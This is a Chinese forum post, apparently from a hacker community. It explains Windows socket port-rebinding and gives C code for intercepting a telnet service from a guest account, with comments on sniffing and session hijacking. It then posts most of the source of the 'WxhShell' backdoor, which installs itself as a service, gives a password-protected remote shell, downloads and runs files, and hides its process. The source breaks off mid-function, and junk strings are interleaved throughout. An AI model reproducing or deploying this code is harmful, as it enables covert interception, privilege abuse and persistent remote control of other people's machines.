社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 17877阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Asu"#sd  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 0M+tKFb  
~"Ki2'j)^]  
  saddr.sin_family = AF_INET; uwA3!5  
TN`:T.B  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); yo?Q%w'Nh  
Ps\^OJR  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); t&]Mt 7  
6J+ZeBk??  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 <5~>.DuE  
]bweQw@i  
  这意味着什么?意味着可以进行如下的攻击: X-F HJ4  
#?6RoFgMe  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ]!:Y]VYN)\  
e*s{/a?,  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) \9QOrjiw  
V1A3l{>L  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 -#x\E%v.F  
.y+U7 "?s*  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ),,vu  
5-^twXC&  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 +KNr1rG  
j3&*wU_  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 hGV/P94  
?9TogW>W  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 4/>={4Y9  
lej{VcG  
  #include 0{F.DDiNT  
  #include glgk>83I+  
  #include M7 !" t  
  #include    q|J]  
  DWORD WINAPI ClientThread(LPVOID lpParam);   \/v$$1p2  
  int main() *Fws]y2t~  
  { `0:@`)&g1  
  WORD wVersionRequested; 9lV'3UG-?  
  DWORD ret; 4PQWdPv;  
  WSADATA wsaData; 7!%"8Rl-  
  BOOL val; f lB2gr^  
  SOCKADDR_IN saddr; .SN]hLV5  
  SOCKADDR_IN scaddr; T 1=M6iJ  
  int err; :TI1tJS~*  
  SOCKET s; *cIXae^Y7  
  SOCKET sc; +)S X  
  int caddsize; z, [ +  
  HANDLE mt; {A UEVt  
  DWORD tid;   )K~nZLULY  
  wVersionRequested = MAKEWORD( 2, 2 ); ]mA?TwD  
  err = WSAStartup( wVersionRequested, &wsaData ); Uw"   
  if ( err != 0 ) { Xk'.t|  
  printf("error!WSAStartup failed!\n"); :f;|^(]"  
  return -1; DAW%?(\,  
  } K>y+3HN[6  
  saddr.sin_family = AF_INET; <H6Uo#ao  
   %R"Fx$tQ  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 {wI0 =U  
-S @:  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); =P{RHhWy;  
  saddr.sin_port = htons(23); 's<}@-]  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) e{&gF1" [  
  { 3yN1cd"#?  
  printf("error!socket failed!\n"); BL67sva;  
  return -1; sa*-B  
  } Gj3/&'k6  
  val = TRUE; 'Iu(lpF&  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 *OiHrI9y  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) wn`budH?c8  
  { O5 SX"A  
  printf("error!setsockopt failed!\n"); ?*,q#ZkA9W  
  return -1; ^MUM04l  
  } :%{7Q$Xv<  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Kl?1)u3^4  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 {NR~>=~K-  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 7~'@m(9e  
G<'S  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) -eTGRr  
  { JK4  @  
  ret=GetLastError(); CR<l"~X  
  printf("error!bind failed!\n"); 2dfA}i>k  
  return -1; h%%'{^>~  
  } D#0}/  
  listen(s,2); K4BMa]/U  
  while(1) S[M$>  
  { o/R-1\Dn  
  caddsize = sizeof(scaddr); @kw=0  
  //接受连接请求 y+a&swd2(U  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Jp- hFD  
  if(sc!=INVALID_SOCKET) \Z8!iruN  
  { \B)<<[ $  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); wr`eBPu  
  if(mt==NULL) v|6fqG+Q\  
  { y@I"Hk<T  
  printf("Thread Creat Failed!\n"); pN[i%\vh  
  break; \XC1/LZQ  
  } c{~*\&  
  } *"@P2F&  
  CloseHandle(mt); I,D=ixK  
  } 'PZJ{8=  
  closesocket(s); Gx m"HC  
  WSACleanup(); `|R{^Sk1o  
  return 0; K\G|q}E/1  
  }   o%:eYl  
  DWORD WINAPI ClientThread(LPVOID lpParam) /-T%yuU  
  { A!c.P2  
  SOCKET ss = (SOCKET)lpParam; +xMDm_TGLA  
  SOCKET sc; c}A^0,"z>  
  unsigned char buf[4096]; i> ;G4  
  SOCKADDR_IN saddr; gIeo7>u  
  long num; < javZJ  
  DWORD val; Z\x6  
  DWORD ret; ,~v1NK*  
  //如果是隐藏端口应用的话,可以在此处加一些判断 J#\/znT  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   gb-n~m[y  
  saddr.sin_family = AF_INET; wjkN%lPfvj  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); p~t$ll0s  
  saddr.sin_port = htons(23); rie1F,  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \C#Vh7z"2&  
  { 4_$f "6  
  printf("error!socket failed!\n"); '2NeuK-KD  
  return -1; --FvE|I  
  } T"O!  
  val = 100; '?\Hm'8  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) xe d$z  
  { @_;6 L  
  ret = GetLastError(); }+z}vb  
  return -1; fYwumx`J  
  } pcE.  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ;kY=}=9  
  { %BL+'&q  
  ret = GetLastError(); `|gCbs95  
  return -1; GFvOrRlP\  
  } BP`UB  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) yY}`G-)g~*  
  { T6tJwSS4:  
  printf("error!socket connect failed!\n"); bcQ$S;U)  
  closesocket(sc); U9Sp$$L  
  closesocket(ss); {2!.3<#  
  return -1; (q)W<GYP  
  } @ ~PL|Pp_  
  while(1) xMe[/7)4  
  { s;>jy/o0 s  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 , =#'?>Kq  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Ox58L>:0m  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 EM"YjC)F  
  num = recv(ss,buf,4096,0); @rE>D  
  if(num>0) a}6Wo=  
  send(sc,buf,num,0); [K^RC;}nV^  
  else if(num==0) >scEdeM  
  break; tYnNOK*|  
  num = recv(sc,buf,4096,0); xSw ^v6!2  
  if(num>0) oC[$PPqX#  
  send(ss,buf,num,0); +?%huJYK,  
  else if(num==0) W )\~T:Kn  
  break; X4jtti  
  } #U^@)g6  
  closesocket(ss); Rt+s\MC^r  
  closesocket(sc); <=WQs2  
  return 0 ; )AnX[:y  
  } lE4.O  
Y #KgaZ7N  
%0L 9)-R  
========================================================== < d?O#(  
UtzW5{  
下边附上一个代码,,WXhSHELL }z}oVc  
v=!]t=P)t  
========================================================== `Dj-(~x  
K?) &8S  
#include "stdafx.h" Y}PI{PN  
 E;k'bz  
#include <stdio.h> 9%|!+!j  
#include <string.h> (R{W Jjj  
#include <windows.h> )nQ.6  
#include <winsock2.h> `w2hJP  
#include <winsvc.h> 90;[5c   
#include <urlmon.h> }.x?$C+\"  
p9 %7h.  
#pragma comment (lib, "Ws2_32.lib")  IS!sJc  
#pragma comment (lib, "urlmon.lib") moh7:g  
Nb-;D)W;B  
#define MAX_USER   100 // 最大客户端连接数 k<m{Wp;-  
#define BUF_SOCK   200 // sock buffer ~h -0rE  
#define KEY_BUFF   255 // 输入 buffer c'[l%4U8[  
 kf';"  
#define REBOOT     0   // 重启 -r[l{ce  
#define SHUTDOWN   1   // 关机 8@Pv nOL  
"+p_{J/P  
#define DEF_PORT   5000 // 监听端口 b3W@{je  
;:f.a(~c  
#define REG_LEN     16   // 注册表键长度 ;8H m#p7,  
#define SVC_LEN     80   // NT服务名长度 Tw=Jc 's  
%6L{Z*(  
// 从dll定义API ,'[0tl}8K  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >A#]60w.  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Fe}Dnv)}Z  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !M6*A1g5  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); S-GcH  
"d9"Md0k  
// wxhshell配置信息 LJ9^:U  
struct WSCFG { LNtBYdB`pK  
  int ws_port;         // 监听端口 iCnKQG  
  char ws_passstr[REG_LEN]; // 口令 qy"#XbBeV  
  int ws_autoins;       // 安装标记, 1=yes 0=no fM6Pw6k  
  char ws_regname[REG_LEN]; // 注册表键名 tRFj<yuaq  
  char ws_svcname[REG_LEN]; // 服务名 jUYb8:B  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 # 2s$dI  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 K08xiMjl  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 voEg[Gg4%I  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ng"R[/)In  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" xM'bb5  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 b 'jZ4{+W  
8A#qbBD  
}; |#>\GU=!  
u?i_N0H  
// default Wxhshell configuration h@&& .S`B  
struct WSCFG wscfg={DEF_PORT, h${+{1](6  
    "xuhuanlingzhe", f.4r'^  
    1, 2Gd.B/L6  
    "Wxhshell", 'gI q_t|^  
    "Wxhshell", oSq4g{xvMH  
            "WxhShell Service", J4&d6[40  
    "Wrsky Windows CmdShell Service", sA[hG*#/S  
    "Please Input Your Password: ", *F[@lY\p  
  1,  R5(<:]  
  "http://www.wrsky.com/wxhshell.exe", !`JaYUL[e  
  "Wxhshell.exe" m r&nB  
    }; [> Q+=(l  
gs7h`5[es  
// 消息定义模块 cxn3e,d`  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Q/xT>cUd  
char *msg_ws_prompt="\n\r? for help\n\r#>"; /_rEI,[k  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ]c4?-Vq%u  
char *msg_ws_ext="\n\rExit."; Dk[m)]w\  
char *msg_ws_end="\n\rQuit."; 3 - Nwg9 U  
char *msg_ws_boot="\n\rReboot..."; Gm~jC <  
char *msg_ws_poff="\n\rShutdown..."; ErnjIx:  
char *msg_ws_down="\n\rSave to "; ;EDc1:  
kZ~0fw-  
char *msg_ws_err="\n\rErr!"; <b !nI N  
char *msg_ws_ok="\n\rOK!"; qbrY5;U  
5)bf$?d   
char ExeFile[MAX_PATH]; t"4RGO)jh  
int nUser = 0; yhxen  
HANDLE handles[MAX_USER]; %5Q5xw]w3  
int OsIsNt; a\;Vly;  
GgwO>[T  
SERVICE_STATUS       serviceStatus; Sc#B -4m  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; =:A hg 9  
QQ;<L"VW  
// 函数声明 E{'{fo!#)  
int Install(void); '#pY/,hVB  
int Uninstall(void); [$:M/5y9  
int DownloadFile(char *sURL, SOCKET wsh); Ws$<B b  
int Boot(int flag); 7L)edR [  
void HideProc(void); Oh)s"f\N  
int GetOsVer(void); ++1<A& a  
int Wxhshell(SOCKET wsl); vkUXMMuf+e  
void TalkWithClient(void *cs); T%zCAfx m  
int CmdShell(SOCKET sock); J)tk<&X  
int StartFromService(void); Ad$CHx-  
int StartWxhshell(LPSTR lpCmdLine); rKxIOJ,T  
0N9`WK  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); P&I%!'<   
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 4j+FDc`  
])Rs.Y{Q5  
// 数据结构和表定义 VAPRI\uM;  
SERVICE_TABLE_ENTRY DispatchTable[] = j=c=Pe"?u  
{ 7m='-_w)?w  
{wscfg.ws_svcname, NTServiceMain}, r?Q`b2Q  
{NULL, NULL} xgeDfpF'  
}; d^b(Uo=$  
z 3((L  
// 自我安装 {P/ sxh:e  
int Install(void) Q5%$P\  
{ GY% ^!r  
  char svExeFile[MAX_PATH]; SUGB)vEa  
  HKEY key; _%M+!Ltz  
  strcpy(svExeFile,ExeFile); 6WI-ZEVp&  
P}kBqMM  
// 如果是win9x系统,修改注册表设为自启动 o9GtS$ O\  
if(!OsIsNt) { xAlyik  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { DPV>2' fV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j:k}6]p}  
  RegCloseKey(key); 5~8FZ-x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { tFj[>_d7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *49({TD6`  
  RegCloseKey(key); {9mXJu$cc  
  return 0; MC\rx=cR\  
    } m 0jm$> :Z  
  } ''. P=  
} Q#gzk%jL@  
else { '2LK(uaU  
0 $Ygt0d  
// 如果是NT以上系统,安装为系统服务 "p Rr>Fa  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); `3wzOMgJ  
if (schSCManager!=0) t?&@bs5~g  
{ Xgb ~ED]  
  SC_HANDLE schService = CreateService KH=4A-e,0  
  ( hKx*V"7/#\  
  schSCManager, _.}1 Y,Q  
  wscfg.ws_svcname, :2v^pg|  
  wscfg.ws_svcdisp, c qWX*&2_  
  SERVICE_ALL_ACCESS, S<Rl?El<=  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 'J[ n}r  
  SERVICE_AUTO_START, rHSA5.[1P  
  SERVICE_ERROR_NORMAL, %1JN%  
  svExeFile, @'5*u~M  
  NULL, p*LG Y+  
  NULL, l(Y U9dp  
  NULL, 4k7 LM]  
  NULL, fS@V`"O6  
  NULL owR`Z`^h)  
  ); 0 oC5W?>8s  
  if (schService!=0) H0dHW;U<1  
  { U<|hIv-&  
  CloseServiceHandle(schService); KzgW+6*G  
  CloseServiceHandle(schSCManager); dx.,  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); M'(4{4rC  
  strcat(svExeFile,wscfg.ws_svcname); (B/od#nU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { W~W `fm  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); k_,wa]ws$  
  RegCloseKey(key); <]w(1{q(  
  return 0; ;~^9$Z@%Q  
    } BI|BfO%F$j  
  } 1K&_t  
  CloseServiceHandle(schSCManager); N'5AU (  
} @gc|Z]CV  
} G d%X> ~  
B)L=)N  
return 1; &gv{LJd5b  
} %)t9b@c!}  
J 7/)XS  
// 自我卸载 NT1"?Thx|  
int Uninstall(void) isF jJPe  
{ g %ZKn  
  HKEY key; 2SABu796j  
s:p6oEQ=J  
if(!OsIsNt) { kO)+%'L!8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { W]TO%x{  
  RegDeleteValue(key,wscfg.ws_regname); $ap6Vxjr  
  RegCloseKey(key); ",O}{z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p?Rq  
  RegDeleteValue(key,wscfg.ws_regname); 5YG %\  
  RegCloseKey(key); U %,K8u|WH  
  return 0; <jjn'*44f  
  } S&q(PI_"  
} th4yuDPuA  
} ,ve$bSp  
else { Zqp<8M2  
. a@>1XO  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); E0lro+'lS  
if (schSCManager!=0) 5H{dLZ],  
{ XX9u%BZ~  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); o$XJSz|6  
  if (schService!=0) }#bX{?f  
  { H)5V \  
  if(DeleteService(schService)!=0) { MJ% gF=$X  
  CloseServiceHandle(schService); {>]7xTpwZ  
  CloseServiceHandle(schSCManager);  "d3qUk  
  return 0; /4xp?Lo:  
  } v:xfGA nP  
  CloseServiceHandle(schService); ^_0l(ke  
  } xRiWg/Z~  
  CloseServiceHandle(schSCManager); tqMOh R  
} Z\ 1wEGP7{  
} USrBi[_ci\  
l,w$!FnmR  
return 1; i0jR~vF {B  
} QRw/d}8l  
>cdxe3I\  
// 从指定url下载文件 \J?l7mG  
int DownloadFile(char *sURL, SOCKET wsh) ]A.tauSW  
{ ohW qp2~  
  HRESULT hr; 2y;J 11\  
char seps[]= "/"; m1\+~*i  
char *token; I5$]{:L|9  
char *file; Ojwhcb^  
char myURL[MAX_PATH]; iH;IXv,b3  
char myFILE[MAX_PATH]; =)O%5<Lwx  
Y5&mJp\G  
strcpy(myURL,sURL); o)U4RY*  
  token=strtok(myURL,seps); H%&e[PU  
  while(token!=NULL) 24; BY'   
  { gQ8FjL6?  
    file=token; 4r+s" |  
  token=strtok(NULL,seps); I}!Er V  
  } E4;@P']`  
:,~]R,tJQ  
GetCurrentDirectory(MAX_PATH,myFILE); 7wA.:$  
strcat(myFILE, "\\"); 5;4bZ3e,0  
strcat(myFILE, file); (imaL,M-D  
  send(wsh,myFILE,strlen(myFILE),0); Ug~ ]!L  
send(wsh,"...",3,0); m,1Hlp  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); W6 y-~  
  if(hr==S_OK) 'U|Tye i?  
return 0; O&vE 5%x  
else gd=gc<zYP  
return 1; a}#8n^2  
D>>?8a  
} rd\:.  
iQ7S*s+l5O  
// 系统电源模块 &X`zk  
int Boot(int flag) LagHzCB  
{ ,+mH1#-3  
  HANDLE hToken; by0@G"AE+  
  TOKEN_PRIVILEGES tkp; kbcqUE  
m R|;}u;d  
  if(OsIsNt) { +/|;<K5_LI  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %fH&UFby  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ob(S/t  
    tkp.PrivilegeCount = 1; *l9Wj$vja  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 'ai3f  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Rg,]d u u?  
if(flag==REBOOT) { s ~ Xa=_+D  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,!i!q[YkL9  
  return 0; 67]kT%0  
} ;+6TZqklQ  
else { Kb icP<  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ,%!E-gr  
  return 0; ,fR/C  
} n5e1k y*9w  
  } UU;U,q  
  else { ab/^z0GT  
if(flag==REBOOT) { t_\;G~O9-M  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) R{3vPG  
  return 0; 6{8dv9tK  
} Z+EN]02|  
else { .r4M]1Of  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 5k]xi)%  
  return 0; _O w]kP='  
} S9@2-Oc  
} 6vL+qOdx  
:3h'Hr  
return 1; Hp}dm93T  
} NBaXfWh  
7sglqf>  
// win9x进程隐藏模块 {S*:pG:+q  
void HideProc(void) X`' @ G  
{ C(jUM!m  
+@5@`"Jry  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); T:?01?m  
  if ( hKernel != NULL ) FM=- ^l,  
  { Ce~ a(J|"  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0[QVU,]<  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); =E~)svl6g  
    FreeLibrary(hKernel); Hi5}s  
  } Aav|N3  
-q6d&D'B+  
return; QgB%\mO=  
} [:Y`^iR.  
</@3}rfUPg  
// 获取操作系统版本 S1&Df%Ra  
int GetOsVer(void) Y [ p  
{ Rk(2|I  
  OSVERSIONINFO winfo;  ~d\>f  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?$Tp|<tx#  
  GetVersionEx(&winfo); 0n('F  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _4lhwKYU  
  return 1; "H"4]m1Wc  
  else ^\Gukkmh}  
  return 0; /GUbc   
} SGK=WLGM8  
azT@S=,  
// 客户端句柄模块 R.rxpJ+kU  
int Wxhshell(SOCKET wsl) W{js9$oJ  
{ Z.x9SEe1t  
  SOCKET wsh; @Z{!T)#}j  
  struct sockaddr_in client; %`b %TH^  
  DWORD myID; XI8rU)q  
]%I}hj J  
  while(nUser<MAX_USER) Oqy&V&-C  
{ n)6mfoe  
  int nSize=sizeof(client); W^sH|2g  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ZlEH3-Zv  
  if(wsh==INVALID_SOCKET) return 1; KDUa0$"  
4qe!+!#$  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \&Bvh4Q  
if(handles[nUser]==0) stcbM  
  closesocket(wsh); 9EIOa/*  
else |',$5!:0O  
  nUser++; H}}g\|r&  
  } %"{jNC?  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [t.x cO  
sn=_-uoU  
  return 0; _A5.  
} k6|wiSyu  
>|!s7.H/J/  
// 关闭 socket ^9wQl!e ob  
void CloseIt(SOCKET wsh) 8/oO}SLF  
{ 6B .x=  
closesocket(wsh); [fl x/E  
nUser--; ;wF 0s  
ExitThread(0); Q xg)Wb#  
} J~,Ny_L  
*~H\#N|x  
// 客户端请求句柄 W2 p&LP  
void TalkWithClient(void *cs) 1w|C+m/(  
{ %M KZ':m  
I%qZMoS1h  
  SOCKET wsh=(SOCKET)cs; Kp.d#W_TX  
  char pwd[SVC_LEN]; y?4%eD  
  char cmd[KEY_BUFF]; 0g&#hW};[6  
char chr[1]; $Lx2!Zy  
int i,j; Bk)*Z/1<x  
[<H'JsJl  
  while (nUser < MAX_USER) { |^!  
GR ^d/  
if(wscfg.ws_passstr) { \cKY{(E  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R-\a3q  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); FvTc{"w /  
  //ZeroMemory(pwd,KEY_BUFF); W!.vP~>  
      i=0; 6r3.%V.&  
  while(i<SVC_LEN) { Q`* v|Lp  
U`w `Cr  
  // 设置超时 6^vseVx  
  fd_set FdRead; Yj-JB  
  struct timeval TimeOut; 5:W 5@e{  
  FD_ZERO(&FdRead); `N.^+Mvx-  
  FD_SET(wsh,&FdRead); I C?bqC+  
  TimeOut.tv_sec=8; $-Wn|w+h<a  
  TimeOut.tv_usec=0; (|kcSnF0  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~n<U8cm O  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); x;; =+)Gg  
_t'S<jTI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $wq[W,'#L  
  pwd=chr[0]; Q#a<T4l  
  if(chr[0]==0xd || chr[0]==0xa) { :l/?cV;  
  pwd=0; g(`m#&P>G  
  break; Q^c)T>OAI  
  } LFHzd@Y7"  
  i++; R_ |Sg  
    } ~0 5p+F)  
TcjTF|q>  
  // 如果是非法用户,关闭 socket Utv#E.VI  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [>^xMF]$2  
} %n7Y5|Uh  
3LK]VuZE  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^xZo .P  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T)Ohk(jK1  
|gP9^B?3  
while(1) { VGDds  
R<-u`uX nP  
  ZeroMemory(cmd,KEY_BUFF); pA|Z%aL  
fVJsVZ"6v`  
      // 自动支持客户端 telnet标准   `Fn6*_n  
  j=0; =iZj&B X  
  while(j<KEY_BUFF) { fP :26pK^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8;vpa*  
  cmd[j]=chr[0]; o fw0_)!Q  
  if(chr[0]==0xa || chr[0]==0xd) { U0Q:sA U  
  cmd[j]=0; : U:>X6f  
  break; q[rBu9  
  } `~ ,  
  j++; |1z?#@BH  
    } iJH;OV;P  
.PHz   
  // 下载文件 %%-hax.x0X  
  if(strstr(cmd,"http://")) { h0v4!`PQ-  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); D;RZE  
  if(DownloadFile(cmd,wsh)) aOWfu^&H:  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ImnN&[Cu  
  else IC[iCrB  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f:)%+)U<Xm  
  } h9J%NH  
  else { Ny oRp  
F9Y/Z5 Ea  
    switch(cmd[0]) { h%0hryGB  
  D6M ktE)'  
  // 帮助 cI g|sn  
  case '?': { q)Uh_l.Cj  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [`'[)B  
    break; L4wKG&  
  } %?`TyVt&0  
  // 安装 (sHvoE^q-  
  case 'i': { h4\j=Np  
    if(Install()) Vu u2SS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6n}5>GSF  
    else  <m7T`5+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WOgPhJ  
    break; 7G^`'oZ  
    } c(tX761qz  
  // 卸载 xbeVq P  
  case 'r': { l[)ZEEP  
    if(Uninstall()) ED>T2.:{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bOKgR{i  
    else y66V&#`,e0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F_ Cp,  
    break; F N)vFQ#J  
    } kq m$a  
  // 显示 wxhshell 所在路径 5/m^9@A  
  case 'p': { k&kx%skz  
    char svExeFile[MAX_PATH]; k'hJ@ 6eKS  
    strcpy(svExeFile,"\n\r"); Gx.iZOOH/  
      strcat(svExeFile,ExeFile); 9sR?aW^$,/  
        send(wsh,svExeFile,strlen(svExeFile),0); mV58&SZT  
    break; :Jz@`s1n  
    } AzwG_XgM)  
  // 重启 ML|O2e  
  case 'b': { [kjmEMF9i  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); SW^/\cJ^  
    if(Boot(REBOOT)) 4kZ9]5#.  
